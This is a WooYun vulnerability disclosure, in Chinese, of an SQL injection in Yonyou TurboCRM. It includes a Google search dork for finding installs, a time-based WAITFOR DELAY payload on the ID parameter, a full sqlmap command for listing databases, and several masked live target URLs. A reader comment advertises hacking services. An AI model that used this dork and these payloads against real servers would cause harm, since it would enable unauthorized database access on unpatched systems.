当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162117

漏洞标题：用友TruboCRM管理系统SQL注入

相关厂商：用友软件

漏洞作者： 路人甲

提交时间：2015-12-17 15:29

修复时间：2016-03-21 15:40

公开时间：2016-03-21 15:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-17： 细节已通知厂商并且等待厂商处理中
2015-12-22： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2016-02-15： 细节向核心白帽子及相关领域专家公开
2016-02-25： 细节向普通白帽子公开
2016-03-06： 细节向实习白帽子公开
2016-03-21： 细节向公众公开

简要描述：

RT

详细说明：

用友CRM客户关系管理系统
Google关键字：intitle:用友TurboCRM intext:登录


注入链接：/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1
注入参数：ID
Payload: ?ID=1; WAITFOR DELAY '0:0:5'--
Sqlmap注入命令： sqlmap -u 'http://xxxxxx/background/updateactivityemailnum.php?ID=1' --level 5 --risk 3  --thechnique=T  --dbms mssql  --dbs  --random-agent   --batch  -v 3

漏洞证明：

测试案例：
QQ20151217-0.png







QQ20151217-1.png







QQ20151217-2.png




1. **.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
2. http://**.**.**.**:8001/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
3. http://**.**.**.**:8088/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
4. http://**.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
5. http://**.**.**.**:8088/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
6. **.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--
7. **.**.**.**:2046/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-03-21 15:40

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-22 17:50 | daniulaiba ( 路人 | Rank:2 漏洞数:1 | 渗透,提权技术可以联系我kkjk.net带你发财...)

    66

  2. 2015-12-24 12:09 | Yosef ( 实习白帽子 | Rank:63 漏洞数:17 | 苦逼程序猿一枚)

    用友厂商现在不管什么漏洞都忽略